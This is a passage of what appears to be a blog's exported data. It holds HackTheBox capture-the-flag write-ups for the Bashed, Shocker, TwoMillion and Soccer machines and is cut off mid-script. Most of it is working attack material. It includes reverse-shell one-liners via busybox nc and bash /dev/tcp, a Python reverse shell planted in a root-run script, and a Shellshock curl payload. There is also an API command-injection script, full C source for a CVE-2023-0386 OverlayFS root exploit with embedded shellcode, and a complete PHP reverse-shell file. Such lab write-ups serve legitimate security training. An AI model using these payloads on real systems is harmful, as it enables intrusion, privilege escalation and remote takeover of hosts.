==\u0026gt; DIRECTORY: http://bashed.htb/dev/ ==\u0026gt; DIRECTORY: http://bashed.htb/fonts/ ==\u0026gt; DIRECTORY: http://bashed.htb/images/ + http://bashed.htb/index.html (CODE:200|SIZE:7743) ==\u0026gt; DIRECTORY: http://bashed.htb/js/ ==\u0026gt; DIRECTORY: http://bashed.htb/php/ Getting a Shell: 1. Discover the PHP Bash Web Shell On the website http://bashed.htb/single.html, you’ll find a link to the PHP Bash web shell source code on GitHub: https://github.com/Arrexel/phpbash Access the live PHP Bash web shell on the server: http://bashed.htb/dev/phpbash.php 2. Retrieve the User Flag Once inside the PHP Bash web shell, retrieve the arrexel user flag: cat /home/arrexel/user.txt 3. Check Sudo Privileges After gaining access, check the sudo privileges for the current user: sudo -l The output reveals: (scriptmanager : scriptmanager) NOPASSWD: ALL This means you can execute any command as the scriptmanager user without a password.\n4. Find Readable Directories for scriptmanager Locate directories accessible by the scriptmanager user by running: find / -type d -readable -user scriptmanager | grep -v \u0026#39;^/proc\\|^/run\\|^/sys\u0026#39; This command lists readable directories for scriptmanager, excluding system directories like /proc, /run, and /sys.\n5. Set Up a Reverse Shell Listener On your attacking machine, set up a listener to catch the reverse shell: nc -lvnp 9001 6. Initiate a Reverse Shell Using BusyBox Since the available nc (netcat) version on the target system is netcat-openbsd, which lacks the -e option, you can use BusyBox to achieve a reverse shell. On the target machine, execute: busybox nc 10.10.14.9 9001 -e /bin/bash This command establishes a reverse shell connection to your listener on port 9001.\nGet an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:\npython3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Press Ctrl+Z to background the shell, then run:\nstty size; stty raw -echo; fg As the last step, set the terminal environment:\nexport TERM=xterm; Monitor Processes with pspy Objective: Use pspy to monitor processes without needing root privileges and identify processes being executed by root that may be exploitable.\nStep 1: Download pspy On your attacking machine, download the appropriate pspy binary (e.g., pspy64 for 64-bit systems) from the official repository: https://github.com/DominicBreuker/pspy wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64 chmod +x pspy64 Step 2: Transfer pspy to the Target Server Using Python HTTP Server On your attacking machine, start a Python HTTP server in the directory where pspy64 is located: python3 -m http.server 8080 On the target machine, download pspy64 using wget: wget http://\u0026lt;vpn-ip\u0026gt;:8080/pspy64 -O /tmp/pspy64 chmod +x /tmp/pspy64 Step 3: Run pspy to Monitor Processes Now that pspy64 is on the target machine, run it to monitor running processes: /tmp/pspy64 While monitoring, pspy may show processes that are periodically executed by root. For example: 2024/09/27 14:02:01 CMD: UID=0 PID=1249 | python test.py This shows that test.py is executed by root, which could be exploited by modifying the script. 1. Switch to scriptmanager User test.py is owned by scriptmanager, switch to scriptmanager: sudo -u scriptmanager bash 2. Edit test.py Navigate to the location of test.py, which was identified by pspy, and edit the script to include a Python reverse shell payload: nano /scripts/test.py Replace the contents of test.py with the following reverse shell code: Replace \u0026lt;vpn-ip\u0026gt; with your actual VPN IP to receive the connection.\nimport socket, os, pty s = socket.socket(); s.connect((\u0026#34;\u0026lt;vpn-ip\u0026gt;\u0026#34;, 9002)) for fd in (0, 1, 2): os.dup2(s.fileno(), fd) pty.spawn(\u0026#34;/bin/bash\u0026#34;) 3. Set up a Listener On your local machine (the attacker machine), set up a listener to capture the reverse shell: nc -lvnp 9002 4. Wait for Execution The test.py script is executed periodically by root, as observed in pspy. Wait for the next execution, and the reverse shell should connect to your listener. 5. Capture Root Access Once the reverse shell connects, you should have a shell as root. You can verify this by checking the user and reading sensitive files: cat /root/root.txt Summary Bashed: enumerate the services, turn the exposed weakness into a shell, and escalate to root.\n","date":"2024-09-27T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Bashed/","protected":null,"snippet":"Bashed: enumerate the services, turn the exposed weakness into a shell, and escalate to root.","tags":["htb","linux"],"title":"HackTheBox Bashed Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.10.56 shocker.htb Script to add hosts automatically ip=\u0026#34;10.10.10.56\u0026#34; domain=\u0026#34;shocker.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV shocker.htb Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-27 21:03 CEST Nmap scan report for shocker.htb (10.10.10.56) Host is up (0.051s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Site doesn\u0026#39;t have a title (text/html). |_http-server-header: Apache/2.4.18 (Ubuntu) 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel CVE-2014-6271 (Shellshock) Directory Bruteforcing with dirb First, run dirb to scan for directories on the target:\ndirb http://shocker.htb/ You will find the cgi-bin directory.\nFuzzing for Shellshock Vulnerable Scripts Use ffuf to fuzz for potential vulnerable .sh scripts inside the cgi-bin directory:\nffuf -u http://shocker.htb/cgi-bin/FUZZ.sh -c -w /usr/share/dirb/wordlists/small.txt Exploiting CVE-2014-6271 (Shellshock) Set up a listener to catch the reverse shell:\nnc -lvnp 9001 Then, use curl to exploit the Shellshock vulnerability by sending a malicious User-Agent header:\nReplace \u0026lt;vpn-ip\u0026gt; with your actual VPN IP to receive the connection.\ncurl -H \u0026#34;User-Agent: () { :;}; echo; /bin/bash -c \u0026#39;/bin/bash -i \u0026gt;\u0026amp; /dev/tcp/\u0026lt;vpn-ip\u0026gt;/9001 0\u0026gt;\u0026amp;1\u0026#39;\u0026#34; http://shocker.htb/cgi-bin/user.sh Accessing the Target System Once you recive the reverse shell, you can access files like:\ncat /home/shelly/user.txt Escalating Privileges with Sudo Check for sudo permissions:\nsudo -l If you see the following entry:\n(root) NOPASSWD: /usr/bin/perl You can escalate privileges by running:\nsudo perl -e \u0026#39;exec \u0026#34;/bin/bash\u0026#34;;\u0026#39; This will give you a root shell.\ncat /root/root.txt Summary Shocker: use CVE-2014-6271 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-09-27T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Shocker/","protected":null,"snippet":"Shocker: use CVE-2014-6271 where it fits the service, gain a shell, and escalate to root.","tags":["htb","linux","cve-2014-6271"],"title":"HackTheBox Shocker Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.221 2million.htb Script to add hosts automatically ip=\u0026#34;10.10.11.221\u0026#34; domain=\u0026#34;2million.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV 2million.htb Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-27 00:52 CEST Nmap scan report for 2million.htb (10.10.11.221) Host is up (0.049s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx |_http-title: Did not follow redirect to http://2million.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Invite Code Functions After exploring http://2million.htb/invite and analyzing the script located at http://2million.htb/js/inviteapi.min.js, the deobfuscated and beautified JavaScript code is as follows:\nfunction verifyInviteCode(code) { var formData = { \u0026#34;code\u0026#34;: code }; $.ajax({ type: \u0026#34;POST\u0026#34;, dataType: \u0026#34;json\u0026#34;, data: formData, url: \u0026#39;/api/v1/invite/verify\u0026#39;, success: function(response) { console.log(response); }, error: function(response) { console.log(response); } }); } function makeInviteCode() { $.ajax({ type: \u0026#34;POST\u0026#34;, dataType: \u0026#34;json\u0026#34;, url: \u0026#39;/api/v1/invite/how/to/generate/verify\u0026#39;, success: function(response) { console.log(response); }, error: function(response) { console.log(response); } }); } Open the developer console (F12) and run the following command:\nmakeInviteCode(); This will return a message encoded with ROT13.\necho \u0026#34;\u0026lt;message\u0026gt;\u0026#34; | tr \u0026#39;A-Za-z\u0026#39; \u0026#39;N-ZA-Mn-za-m\u0026#39; echo \u0026#34;The code is -\u0026gt; $(curl -s -X POST http://2million.htb/api/v1/invite/generate | jq .data.code | tr -d \u0026#39;\u0026#34;\u0026#39; | base64 -d)\u0026#34; Creating an Account and Logging In After logging in at http://2million.htb/home/access, capture the GET request to /api/v1/user/vpn/regenerate using Burp Suite. Modify the request by changing the endpoint to /api/v1, which will reveal other available API endpoints.\nRemote Code Execution echo -n \u0026#34;PHPSESSID in Coockie? -\u0026gt; \u0026#34; ; read coockie curl -sq http://2million.htb/api/v1 -H \u0026#39;Cookie: PHPSESSID=\u0026#39;$coockie\u0026#39;\u0026#39; | jq . echo -n \u0026#34;Input your email -\u0026gt; \u0026#34; ; read email curl -sq -X PUT \u0026#39;http://2million.htb/api/v1/admin/settings/update\u0026#39; -H \u0026#39;Content-Type: application/json\u0026#39; -H \u0026#39;Cookie: PHPSESSID=\u0026#39;$coockie\u0026#39;\u0026#39; --data \u0026#34;{\\\u0026#34;email\\\u0026#34;:\\\u0026#34;$email\\\u0026#34;, \\\u0026#34;is_admin\\\u0026#34;:1}\u0026#34; | jq . echo -n \u0026#34;Run a revshell and press Enter --\u0026gt; nc -lvnp 9001\u0026#34; ; read echo \u0026#34;Payload Deployed Check Your Listener for Incoming Signals\\!\u0026#34; tun0=$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;) timeout 1 curl -sq -X POST http://2million.htb/api/v1/admin/vpn/generate -H \u0026#39;Cookie: PHPSESSID=\u0026#39;$coockie\u0026#39;\u0026#39; -H \u0026#39;Content-Type: application/json\u0026#39; --data \u0026#34;{\\\u0026#34;username\\\u0026#34;:\\\u0026#34;\\$(bash -c \u0026#39;/bin/bash -i \u0026gt;\u0026amp; /dev/tcp/$tun0/9001 0\u0026gt;\u0026amp;1\u0026#39;)\\\u0026#34;}\u0026#34; Database Password Run the following command to search for database credentials:\nfind /var/www -type f -name \u0026#34;*\u0026#34; -exec grep -Hni \u0026#39;db_\u0026#39; {} \\; 2\u0026gt;/dev/null This reveals the database user and password.\nNext, using su admin, you\u0026rsquo;ll find that the same password works for the admin user. Now, SSH into the server:\nssh admin@2million.htb Then, to locate files owned by the admin user:\nfind / -user admin 2\u0026gt;/dev/null | grep -v \u0026#39;^/proc\\|^/run\\|^/sys\u0026#39; This will reveal the file /var/mail/admin. Viewing this file:\ncat /var/mail/admin You\u0026rsquo;ll find an email mentioning dbmigration and OverlayFS.\nCVE-2023-0386 (OverlayFS) Create efuse.c\n#define FUSE_USE_VERSION 30 #include \u0026lt;fuse.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;errno.h\u0026gt; static const char *hello_path = \u0026#34;/hello\u0026#34;; const char hello_str[] = { 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75, 0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68, 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72, 0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e, 0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31, 0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05}; static int hellofs_getattr(const char *path, struct stat *stbuf) { int res = 0; memset(stbuf, 0, sizeof(struct stat)); if (strcmp(path, \u0026#34;/\u0026#34;) == 0) { stbuf-\u0026gt;st_mode = S_IFDIR | 0755; stbuf-\u0026gt;st_nlink = 2; } else if (strcmp(path, hello_path) == 0) { stbuf-\u0026gt;st_mode = S_IFREG | S_ISUID | 0777; stbuf-\u0026gt;st_nlink = 1; stbuf-\u0026gt;st_size = sizeof(hello_str); } else { res = -ENOENT; } return res; } static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) { (void) offset; (void) fi; if (strcmp(path, \u0026#34;/\u0026#34;) != 0) { return -ENOENT; } filler(buf, \u0026#34;.\u0026#34;, NULL, 0); filler(buf, \u0026#34;..\u0026#34;, NULL, 0); filler(buf, hello_path + 1, NULL, 0); return 0; } static int hellofs_open(const char *path, struct fuse_file_info *fi) { puts(\u0026#34;[+] open_callback\u0026#34;); puts(path); if (strcmp(path, \u0026#34;hello\u0026#34;) == 0) { int fd = open(\u0026#34;\u0026#34;, fi-\u0026gt;flags); return -errno; } return 0; } static int hellofs_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { size_t len; (void) fi; if(strcmp(path, hello_path) != 0) { return -ENOENT; } len = sizeof(hello_str); if (offset \u0026lt; len) { if (offset + size \u0026gt; len) { size = len - offset; } memcpy(buf, hello_str + offset, size); } else { size = 0; } return size; } static int ioctl_callback(const char *p, int cmd, void *arg, struct fuse_file_info *fi, unsigned int flags, void *data) { puts(\u0026#34;[+] ioctl callback\u0026#34;); printf(\u0026#34;path %s\\n\u0026#34;, p); printf(\u0026#34;cmd 0x%x\\n\u0026#34;, cmd); return 0; } static struct fuse_operations hellofs_oper = { .getattr = hellofs_getattr, .readdir = hellofs_readdir, .open = hellofs_open, .read = hellofs_read, .ioctl = ioctl_callback }; int main(int argc, char *argv[]) { system(\u0026#34;[ ! -d fuse ] \u0026amp;\u0026amp; \u0026#34;\u0026#34;mkdir -p fuse upper overlay workdir \u0026amp;\u0026amp; echo \u0026#39;[+] Created fuse file system\\n[+] Run Again to get root shell\u0026#39;\u0026#34;); argc = 2; argv[1] = \u0026#34;fuse\u0026#34;; fuse_main(argc, argv, \u0026amp;hellofs_oper, NULL); const char *overlay_command = \u0026#34;unshare -Urm /bin/bash -c \u0026#39;\u0026#34; \u0026#34;mount -t overlay overlay -o lowerdir=fuse,upperdir=upper,workdir=workdir overlay \u0026amp;\u0026amp; \u0026#34; \u0026#34;echo \\\u0026#34;[+] Create overlayFS\\\u0026#34; \u0026amp;\u0026amp; \u0026#34; \u0026#34;touch overlay/hello \u0026amp;\u0026amp; \u0026#34; \u0026#34;echo \\\u0026#34;[+] Copy Up\\\u0026#34; \u0026amp;\u0026amp; \u0026#34; \u0026#34;exit\u0026#39;\u0026#34;; system(overlay_command); printf(\u0026#34;[+] You are root!\\n\u0026#34;); system(\u0026#34;./upper/hello\u0026#34;); return 0; } Compile and run:\ngcc efuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse chmod +x ./efuse ./efuse cat /root/root.txt Summary TwoMillion: use CVE-2023-0386 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-09-27T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-TwoMillion/","protected":null,"snippet":"TwoMillion: use CVE-2023-0386 where it fits the service, gain a shell, and escalate to root.","tags":["htb","linux","cve-2023-0386"],"title":"HackTheBox TwoMillion Writeup"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.11.194 soccer.htb soc-player.soccer.htb Script to add hosts automatically ip=\u0026#34;10.10.11.194\u0026#34; domain=\u0026#34;soccer.htb soc-player.soccer.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV soccer.htb\nStarting Nmap 7.95 ( https://nmap.org ) at 2024-09-25 21:03 CEST Nmap scan report for soccer.htb (10.10.11.194) Host is up (0.054s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA) | 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA) |_ 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Soccer - Index |_http-server-header: nginx/1.18.0 (Ubuntu) 9091/tcp open xmltec-xmlmail? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: | HTTP/1.1 400 Bad Request | Connection: close | GetRequest: | HTTP/1.1 404 Not Found | Content-Security-Policy: default-src \u0026#39;none\u0026#39; | X-Content-Type-Options: nosniff | Content-Type: text/html; charset=utf-8 | Content-Length: 139 | Date: Wed, 25 Sep 2024 19:03:38 GMT | Connection: close | \u0026lt;!DOCTYPE html\u0026gt; | \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; | \u0026lt;head\u0026gt; | \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; | \u0026lt;title\u0026gt;Error\u0026lt;/title\u0026gt; | \u0026lt;/head\u0026gt; | \u0026lt;body\u0026gt; | \u0026lt;pre\u0026gt;Cannot GET /\u0026lt;/pre\u0026gt; | \u0026lt;/body\u0026gt; | \u0026lt;/html\u0026gt; | HTTPOptions, RTSPRequest: | HTTP/1.1 404 Not Found | Content-Security-Policy: default-src \u0026#39;none\u0026#39; | X-Content-Type-Options: nosniff | Content-Type: text/html; charset=utf-8 | Content-Length: 143 | Date: Wed, 25 Sep 2024 19:03:38 GMT | Connection: close | \u0026lt;!DOCTYPE html\u0026gt; | \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; | \u0026lt;head\u0026gt; | \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; | \u0026lt;title\u0026gt;Error\u0026lt;/title\u0026gt; | \u0026lt;/head\u0026gt; | \u0026lt;body\u0026gt; | \u0026lt;pre\u0026gt;Cannot OPTIONS /\u0026lt;/pre\u0026gt; | \u0026lt;/body\u0026gt; |_ \u0026lt;/html\u0026gt; 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9091-TCP:V=7.95%I=7%D=9/25%Time=66F45E84%P=x86_64-pc-linux-gnu%r(in SF:formix,2F,\u0026#34;HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nConnection:\\x20close\\r SF:\\n\\r\\n\u0026#34;)%r(drda,2F,\u0026#34;HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nConnection:\\x SF:20close\\r\\n\\r\\n\u0026#34;)%r(GetRequest,168,\u0026#34;HTTP/1\\.1\\x20404\\x20Not\\x20Found\\r\\ SF:nContent-Security-Policy:\\x20default-src\\x20\u0026#39;none\u0026#39;\\r\\nX-Content-Type-Op SF:tions:\\x20nosniff\\r\\nContent-Type:\\x20text/html;\\x20charset=utf-8\\r\\nCo SF:ntent-Length:\\x20139\\r\\nDate:\\x20Wed,\\x2025\\x20Sep\\x202024\\x2019:03:38\\ SF:x20GMT\\r\\nConnection:\\x20close\\r\\n\\r\\n\u0026lt;!DOCTYPE\\x20html\u0026gt;\\n\u0026lt;html\\x20lang SF:=\\\u0026#34;en\\\u0026#34;\u0026gt;\\n\u0026lt;head\u0026gt;\\n\u0026lt;meta\\x20charset=\\\u0026#34;utf-8\\\u0026#34;\u0026gt;\\n\u0026lt;title\u0026gt;Error\u0026lt;/title\u0026gt;\\n\u0026lt;/ SF:head\u0026gt;\\n\u0026lt;body\u0026gt;\\n\u0026lt;pre\u0026gt;Cannot\\x20GET\\x20/\u0026lt;/pre\u0026gt;\\n\u0026lt;/body\u0026gt;\\n\u0026lt;/html\u0026gt;\\n\u0026#34;)%r(HT SF:TPOptions,16C,\u0026#34;HTTP/1\\.1\\x20404\\x20Not\\x20Found\\r\\nContent-Security-Pol SF:icy:\\x20default-src\\x20\u0026#39;none\u0026#39;\\r\\nX-Content-Type-Options:\\x20nosniff\\r\\n SF:Content-Type:\\x20text/html;\\x20charset=utf-8\\r\\nContent-Length:\\x20143\\ SF:r\\nDate:\\x20Wed,\\x2025\\x20Sep\\x202024\\x2019:03:38\\x20GMT\\r\\nConnection: SF:\\x20close\\r\\n\\r\\n\u0026lt;!DOCTYPE\\x20html\u0026gt;\\n\u0026lt;html\\x20lang=\\\u0026#34;en\\\u0026#34;\u0026gt;\\n\u0026lt;head\u0026gt;\\n\u0026lt;me SF:ta\\x20charset=\\\u0026#34;utf-8\\\u0026#34;\u0026gt;\\n\u0026lt;title\u0026gt;Error\u0026lt;/title\u0026gt;\\n\u0026lt;/head\u0026gt;\\n\u0026lt;body\u0026gt;\\n\u0026lt;pre\u0026gt;C SF:annot\\x20OPTIONS\\x20/\u0026lt;/pre\u0026gt;\\n\u0026lt;/body\u0026gt;\\n\u0026lt;/html\u0026gt;\\n\u0026#34;)%r(RTSPRequest,16C,\u0026#34;HT SF:TP/1\\.1\\x20404\\x20Not\\x20Found\\r\\nContent-Security-Policy:\\x20default-s SF:rc\\x20\u0026#39;none\u0026#39;\\r\\nX-Content-Type-Options:\\x20nosniff\\r\\nContent-Type:\\x20 SF:text/html;\\x20charset=utf-8\\r\\nContent-Length:\\x20143\\r\\nDate:\\x20Wed,\\ SF:x2025\\x20Sep\\x202024\\x2019:03:38\\x20GMT\\r\\nConnection:\\x20close\\r\\n\\r\\n SF:\u0026lt;!DOCTYPE\\x20html\u0026gt;\\n\u0026lt;html\\x20lang=\\\u0026#34;en\\\u0026#34;\u0026gt;\\n\u0026lt;head\u0026gt;\\n\u0026lt;meta\\x20charset=\\\u0026#34;u SF:tf-8\\\u0026#34;\u0026gt;\\n\u0026lt;title\u0026gt;Error\u0026lt;/title\u0026gt;\\n\u0026lt;/head\u0026gt;\\n\u0026lt;body\u0026gt;\\n\u0026lt;pre\u0026gt;Cannot\\x20OPTIONS\\ SF:x20/\u0026lt;/pre\u0026gt;\\n\u0026lt;/body\u0026gt;\\n\u0026lt;/html\u0026gt;\\n\u0026#34;)%r(RPCCheck,2F,\u0026#34;HTTP/1\\.1\\x20400\\x20Bad SF:\\x20Request\\r\\nConnection:\\x20close\\r\\n\\r\\n\u0026#34;)%r(DNSVersionBindReqTCP,2F SF:,\u0026#34;HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nConnection:\\x20close\\r\\n\\r\\n\u0026#34;)% SF:r(DNSStatusRequestTCP,2F,\u0026#34;HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nConnect SF:ion:\\x20close\\r\\n\\r\\n\u0026#34;)%r(Help,2F,\u0026#34;HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r SF:\\nConnection:\\x20close\\r\\n\\r\\n\u0026#34;)%r(SSLSessionReq,2F,\u0026#34;HTTP/1\\.1\\x20400\\x SF:20Bad\\x20Request\\r\\nConnection:\\x20close\\r\\n\\r\\n\u0026#34;); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Enumeration ffuf -u http://soccer.htb/FUZZ -c -w /usr/share/dict/SecLists/Discovery/Web-Content/raft-small-words.txt -fc 403 We discover the Tiny File Manager interface at: http://soccer.htb/tiny\nCVE-2021-45010 (Tiny File Manager) The default credentials for Tiny File Manager can be used:\nusername : admin\npassword : admin@123\nReverse Shell Exploit Setup Replace \u0026lt;vpn-ip\u0026gt; with your actual VPN IP to receive the connection.\n\u0026lt;?php set_time_limit (0); $VERSION = \u0026#34;1.0\u0026#34;; $ip = \u0026#39;\u0026lt;vpn-ip\u0026gt;\u0026#39;; $port = 9001; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = \u0026#39;uname -a; w; id; /bin/sh -i\u0026#39;; $daemon = 0; $debug = 0; if (function_exists(\u0026#39;pcntl_fork\u0026#39;)) { $pid = pcntl_fork(); if ($pid == -1) { printit(\u0026#34;ERROR: Can\u0026#39;t fork\u0026#34;); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit(\u0026#34;Error: Can\u0026#39;t setsid()\u0026#34;); exit(1); } $daemon = 1; } else { printit(\u0026#34;WARNING: Failed to daemonise. This is quite common and not fatal.\u0026#34;); } chdir(\u0026#34;/\u0026#34;); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit(\u0026#34;$errstr ($errno)\u0026#34;); exit(1); } $descriptorspec = array( 0 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;r\u0026#34;), 1 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;w\u0026#34;), 2 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;w\u0026#34;) ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit(\u0026#34;ERROR: Can\u0026#39;t spawn shell\u0026#34;); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit(\u0026#34;Successfully opened reverse shell to $ip:$port\u0026#34;); while (1) { if (feof($sock)) { printit(\u0026#34;ERROR: Shell connection terminated\u0026#34;); break; } if (feof($pipes[1])) { printit(\u0026#34;ERROR: Shell process terminated\u0026#34;); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit(\u0026#34;SOCK READ\u0026#34;); $input = fread($sock, $chunk_size); if ($debug) printit(\u0026#34;SOCK: $input\u0026#34;); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit(\u0026#34;STDOUT READ\u0026#34;); $input = fread($pipes[1], $chunk_size); if ($debug) printit(\u0026#34;STDOUT: $input\u0026#34;); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit(\u0026#34;STDERR READ\u0026#34;); $input = fread($pipes[2], $chunk_size); if ($debug) printit(\u0026#34;STDERR: $input\u0026#34;); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print \u0026#34;$string\\n\u0026#34;; } } ?\u0026gt; Start a listener for the reverse shell:\nnc -lvnp 9001 Execute the following script to upload the reverse shell to the vulnerable server:\nURL=\u0026#34;http://soccer.htb\u0026#34; admin=\u0026#34;admin\u0026#34; pass=\u0026#34;admin@123\u0026#34; shell=\u0026#34;shell.php\u0026#34; local_shell=\u0026#34;/tmp/$shell\u0026#34; cookie=$(curl -s -X POST -d \u0026#34;fm_usr=$admin\u0026amp;fm_pwd=$pass\u0026#34; \u0026#34;$URL/tiny/\u0026#34; -i | grep -oP \u0026#39;Set-Cookie: \\K[^;]+\u0026#39;) if [ -z \u0026#34;$cookie\u0026#34; ]; then echo \u0026#34;[-] Login failed\u0026#34; else echo \u0026#34;[+] Login success. Cookie: $cookie\u0026#34; fi webpath=\u0026#34;tiny/uploads\u0026#34; webroot=\u0026#34;/var/www/html/tiny/uploads/$webpath\u0026#34; upload=$(curl -s -X POST -H 